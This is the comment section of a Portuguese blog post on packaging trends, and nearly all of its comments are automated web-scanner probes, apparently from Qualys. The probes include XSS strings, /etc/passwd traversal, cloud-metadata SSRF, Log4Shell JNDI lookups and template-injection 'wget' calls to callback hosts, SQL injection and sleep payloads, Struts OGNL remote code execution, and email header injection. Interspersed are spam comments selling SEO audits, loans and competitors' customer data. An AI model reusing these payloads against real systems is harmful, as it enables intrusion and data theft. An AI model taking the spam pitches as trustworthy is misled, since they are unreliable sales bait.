Boas Práticas e Tendências do Universo das Embalagens #CCLConnect

247 comments

1. 1

2. “‘>

3. javascript:qxss(X139623481256400Y1_2Z);

4. “‘>

6. 1

7. BODY{background:url(“javascript:qss7GQEDZOM=7”)}

8. ” onEvent=X139623481256400Y1_2Z

9. qss{{q=(2*2.0)}}qss

10. q
    Qualys_resp_hdr_injection: Vulnerable

11. 1

12. 1

13. //..//..//..//..//..//..//..//etc/passwd

14. php://filter/read=string.rot13/resource=/etc/passwd

15. a(){}phpinfo(); function a

16. “;(function(){qxssu6c3zy9y});/**/”

17. 1

18. ‘-qxssd2iS0DeJ()-‘

19. 1

20. http://169.254.169.254/latest/meta-data/

21. ${”.getClass().forName(‘java.lang.Runtime’).getMethods()[6].toString()}

22. 1

23. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://45d4fe70b3302016fcd6230050978e1b1e7cf27a.16755663293184848.3090530730.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

24. ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//c457bc6d41acd72508ebbc1c81695d591f759896.16755663293184848.3017985359.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

25. ${dns:address|4496164a8b2dc8edc661400bee6402588b7212fe.16755663293184848.257086063.oscomm04.oscomm.eu2.qualysperiscope.com.}

26. ${url:UTF-8:http://@CIPHER@.@UNIQUEID@.@URI@.oscomm08.oscomm.@DOMAIN@}

27. 1

28. ${url:UTF-8::https://b677a815e2971f57af24689044992539aeaae968.16755663293184848.1864898855.oscomm16.oscomm.eu2.qualysperiscope.com./Qualyswas}

29. ${dns:address|2a1c3d6eb6e2646ab7d8c74a4782dc7d363eca2b.16755663293184848.911064277.oscomm21.oscomm.eu2.qualysperiscope.com.}

30. ${url:UTF-8::https://6ee3f910e618dfbbf3d29b6d7b48364e71d01d8d.16755663293184848.797329408.oscomm25.oscomm.eu2.qualysperiscope.com./}

31. ${“”.getClass().forName(“java.net.InetAddress”).getMethod(“getByName”,””.getClass()).invoke(“”,”417eb21ba96a488c8eac060892340d0821f5e688.16755663293184848.2635365044.oscomm15079701.oscomm.eu2.qualysperiscope.com.”)}

32. http://localhost:19096

33. 1

34. 1 or 4325=4325 —

35. 1 and NULL IS NULL

36. 1

37. 1

38. aaaa&ping -n 92 localhost&

39. 1WAITFOR DELAY ’00:00:29′

40. 1

41. 1′ + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + ‘

42. 1′ OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND ‘qualys’=’qualys

43. “‘>

44. javascript:qxss(X140712658151824Y1_2Z);

45. “‘>

48. 1

49. 1

50. 1

51. q
    Qualys_resp_hdr_injection: Vulnerable

52. /*

53. 1e309

54. 1

55. 1

56. 1

57. “;(function(){qxsskN00p5X0});/**/”

58. 1

59. 1

60. ‘-qxss8T22Aft5()-‘

61. ;echo 23.0231*213.759;//{@math key=4335.158242899999 method=”add” operand=586.23659/}
    /*

    #set($value=23.0231*213.759)
    $value
    */

62. https://community.qualys.com/

63. Joe+
    bcc:was_engine@39debef21782228771f046286a8556fee430f9f2.16868168293184848.2730280545.smtphi01.smtp.eu2.qualysperiscope.com.

64. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://d68d8d787310f93a8fd440fad9f2d06f0304697b.16868168293184848.2227636588.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

65. ${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//bd6354af37a51d839b057800ce29fb0511076573.16868168293184848.4195268813.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

66. ${dns:address|ee46235ca8a9ac3d43cebe73a744ed61762e095f.16868168293184848.3958152989.oscomm04.oscomm.eu2.qualysperiscope.com.}

67. 1

68. powershell -c iwr -uri https://@CIPHER@.@UNIQUEID@.@URI@.oscomm13.oscomm.@DOMAIN@

69. ${url:UTF-8::https://1e7f33ae78f64a124236408d8c491289b36e640c.16868168293184848.4157271517.oscomm16.oscomm.eu2.qualysperiscope.com./Qualyswas}

70. 1

71. ${dns:address|a823d63c898b6fa82a0c23eb9269a01dae8085c0.16868168293184848.2002415535.oscomm21.oscomm.eu2.qualysperiscope.com.}

72. ${url:UTF-8::https://de6e8e59f65bab0fed418d714957b3f9681d442c.16868168293184848.142006512.oscomm25.oscomm.eu2.qualysperiscope.com./}

73. 1

74. 1

75. 1

76. 1 and 4325=2728 —

77. 1

78. 1′ or ‘tpklq’=’tpklq

79. aaaa&ping -n 92 localhost&

80. 1

81. 1′);WAITFOR DELAY ’00:00:29′–

82. 1

83. 1(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

84. Hi cclindsa.com Admin.
    Would you like seeing what’s stopping your site from ranking higher?
    I’ll send you a free audit explaining the problems.
    Send me a quick yes and I’ll deliver it. Act fast!

85. Hi,

    I’m offering a no-cost audit that shows problems affecting your site and how it impacts your search visibility.

    Send me a quick reply if you’d like your free report—only a few spots left!

86. If Cclindsa needs help getting as much as $500K in business capital, I’d be here to help out. This is our specialty.

    Here’s how it works: Regularly, we support businesses like Cclindsa gain access to $25K–$500K in capital — even if they’ve been previously rejected or are unsure if they’ll qualify.

    The greatest benefit? We make the process fast and easy.

    If you’re:
    Looking to grow your business,
    Reduce or manage debt,
    Put funds into R&D,
    Upgrade equipment or buy new assets…

    Then we should chat.

    We’ve worked with numerous companies and maintain a 4.8-star rating on TrustPilot with strong social proof from clients.

    Just drop me a reply and let me know:
    That you’re ready to talk, or
    A slot that fits your schedule next week.

    There’s no commitment required — just helpful advice and clear next steps to explore your options.

    Hope to connect soon,
    Mitchel

87. Hey there,
    I’m reaching out to you to check if is utilizing the section 125 plan in order to cut for FICA.

    By using the section 125 your employees will get better preventing health care, and you will save $620/Year per eligible employee.

    We helped over 75,000 employees from well-known companies to save money every month with our plan.

    Let me know if you’re interested in more info.

    Kind regards,
    Wilburn Mairinger

88. “‘>

89. 1

90. ” onEvent=X140509720947248Y1_2Z

91. 1

92. 1

94. “‘><qssYYrFDTF3=7;//<

95. 1

96. 1

97. %3cscript z%3e_q(y)%3c/script%3e

98. 1

99. 1

100. 1

101. 1

102. 1

103. 1

104. 1

105. “;(function(){qxss9Q0SvO7L});/**/”

106. 1

107. ‘-qxss39NY3MT8()-‘

108. (23.0231*213.759)

109. QualysWAS${“150898”.toString().replace(“8”, “7”)}QualysWAS

110. http://e50c4acade07f702b8a922e6ab373933dd9c9b9e.17217768293184848.3743224822.ssrf01.ssrf.eu2.qualysperiscope.com.

111. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//b1c8b97bbb6efdcb93d7d02350337f8001794156.17217768293184848.1193213563.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

112. ${dns:address|2e326c755a38b09becec122575654fb34613c217.17217768293184848.2342844684.oscomm04.oscomm.eu2.qualysperiscope.com.}

113. 1

114. 1

115. ${url:UTF-8::https://3481ab377c4d4fd2b0360ebafd475eb20537bf1c.17217768293184848.2840700299.oscomm16.oscomm.eu2.qualysperiscope.com./Qualyswas}

116. ${url:UTF-8:https://1d301428b04932d589a0a9277afd43e50279b239.17217768293184848.193000211.oscomm19.oscomm.eu2.qualysperiscope.com./}

117. ${url:UTF-8:https://c2f1fd404552f5887a40b27463cfa2a319e9167d.17217768293184848.4141000209.oscomm23.oscomm.eu2.qualysperiscope.com.}

118. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://121c2363246ce65d97afa8ad21b362bdbbc73248.17217768293184848.1055392083.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

119. 1

120. 1′) or 2634=2634 —

121. 1

122. 1

123. 1′) and ‘swqtp’=’ptqws

124. 11 or 11=11

125. 1

126. 1

127. 1

128. 1

129. 1;SELECT sleep(29); —

130. “‘>

131. 1

132. _q=random(X140527706122784Y1_2Z)

133. ” SRC=//localhost/j11I034tQ>

134. 1

135. 1

136. 1

137. 1

138. 1

139. ,

140. 1

141. 1

142. 1

143. “;(function(){qxssT4l9Fkq1});/**/”

144. 9
     ;(function(){qxssNJ710A93});//

145. |aaaa
     =(23.0231*213.759)
     |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

146. 1

147. 1

148. 1

149. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//d5a52ffc40102b47b09c898f9fc1b05aed730dec.17278043293184848.2175225476.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

150. 1

151. 1

152. 1

153. ${url:UTF-8::https://06675d46d764f7a9e54b26e81565c77adcdda523.17278043293184848.3331119148.oscomm17.oscomm.eu2.qualysperiscope.com./}

154. ${url:UTF-8:http://3b6ba58854204921636ce76e512d9588b0cc998e.17278043293184848.262460005.oscomm22.oscomm.eu2.qualysperiscope.com.}

155. 1

156. 1

157. 1

158. 1

159. 1

160. 1 aND 7248=2491 + 4757

161. 1

162. 1

163. 1;WAITFOR DELAY ’00:00:29′;

164. 1

165. 1′ WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)– prime

166. Good day,

     My name is Tom Sherred, and I represent Over & Under Steel and Rigging. We are currently reviewing potential partners for an upcoming opportunity and would like to confirm your availability for new projects in Q1 2026.

     If you are available and interested, we can provide additional project details and scope information for review.

     Thank you for your consideration, and best wishes for the New Year.

     Respectfully,
     Tom Sherred
     Vice President
     Over & Under Steel and Rigging
     http://www.ousteelrigging.com
     Phone: (724) 746-3096

167. “‘>

168. 1″‘>

169. 1 _q_q=random(6xgHkP4c)

170. 1

172. 1

173. 1

174. 1

175. 1

176. 1

177. 1

178. 1

179. “);(function(){qxssJp4caswT});/**/”

180. */;(function(){qxssQ7x2JmfF});/*

181. {23.0231*213.759}${23.0231*213.759}{{=23.0231*213.759}}

182. 1

183. 1

184. 1

185. ${dns:address|d418f807096e0bb3a7b324fbd67ad9ab23bad78e.17337290293184848.1805701992.oscomm04.oscomm.eu2.qualysperiscope.com.}

186. 1

187. 1

188. ${url:UTF-8::https://be20a99411078cff9b0889e1798c0bc1c8f886a2.17337290293184848.246381653.oscomm17.oscomm.eu2.qualysperiscope.com./}

189. ${dns:address|e7d30c24d4dca5198e026cfe872a931fd3642740.17337290293184848.1949561707.oscomm21.oscomm.eu2.qualysperiscope.com.}

190. {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘wget http://cf0de0203ddae7fa31e52a76b12fd5e8d83ef194.17337290293184848.3937389402.oscomm15019101.oscomm.eu2.qualysperiscope.com.’).read() }}

191. 1

192. 1

193. 1

194. 1

195. 1

196. 1

197. 1

198. 1′,0,0);WAITFOR DELAY’00:00:29′–

199. 1

200. Hi

     Tired of spending money on marketing? Lets start 2026 the right way.

     1. Find your competitors
     2. Receive their clients
     3. Make Money

     Why do this?
     Because of advertising practices of major platforms like Google, Facebook, and YouTube.

     It seems quite frustrating that these companies charge advertisers repeatedly for the same leads, especially when they clearly understand the market dynamics.

     In contrast, we believe in transparency and fair competition. We provide our clients with access to customer data previously purchased by others, they receive details about leads that would have otherwise cost them thousands.

     Plus, we offer daily updates for a month, ensuring they stay informed about their competitive landscape at no extra cost.

     Visit us for a free sample!
     https://Winston.marketing2.cfd?domain=cclindsa.com

201. “‘>

202. javascript:qxss(X140606626115008Y1_2Z);

203. 1

204. 1

206. 1

207. ‘ onEvent=X140606626115008Y1_2Z

208. 1

209. 1

210. q
     Content-Type:text/html
     Content-Length: 190

     HTTP/1.1 200 OK
     Content-Type: text/html
     Set-Cookie: a=q
     Content-Length: 2

     AA

211. ;–

212. 1

213. 1

214. 1

215. 1

216. %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

217. |netstat -an

218. “;(function(){qxssJ7kyvdf1});/**/”

219. 1

220. */;(function(){qxssM5Ai6m40});/*

221. 1

222. function(){qxssrLyAsTny};

223. 1

224. Joe+
     bcc:was_engine@62d30ca78d7aefff073849196d21b1cca64805ce.17414958293184848.289783807.smtphi01.smtp.eu2.qualysperiscope.com.

225. 40cd7521be58a1d95a758c310eb6351dda089e2e.17414958293184848.4066376782.ssrf02.ssrf.eu2.qualysperiscope.com.

226. ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//489b68e9ebae082ae8cd1d553d2824e89636baf8.17414958293184848.322388190.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

227. ${dns:address|3a4867a47da0a02ed26cbc5f9a05c571de1dbfd1.17414958293184848.3327717234.oscomm04.oscomm.eu2.qualysperiscope.com.}

228. ${url:UTF-8:https://83fb74f92262d1bd8d78e9291ef7d5d1dafe7840.17414958293184848.1718976454.oscomm07.oscomm.eu2.qualysperiscope.com.}

229. 1

230. 1

231. 1

232. ${url:UTF-8:https://8ff20e5473471ce286c63651b8a540c2512f11f7.17414958293184848.1539085351.oscomm19.oscomm.eu2.qualysperiscope.com./}

233. ${url:UTF-8:http://2679644abcac19e1ad36619c91ce282d1524614c.17414958293184848.910277038.oscomm22.oscomm.eu2.qualysperiscope.com.}

234. ${url:UTF-8::https://440ea992f0c287ab0df56ad8ba2136ac20fe473f.17414958293184848.3658476068.oscomm25.oscomm.eu2.qualysperiscope.com./}

235. 1

236. 1

237. 1

238. 1

239. 1

240. 1

241. 1

242. 1

243. 1

244. 1′;WAITFOR DELAY ’00:00:29′–

245. 1

246. 1

247. elqvnb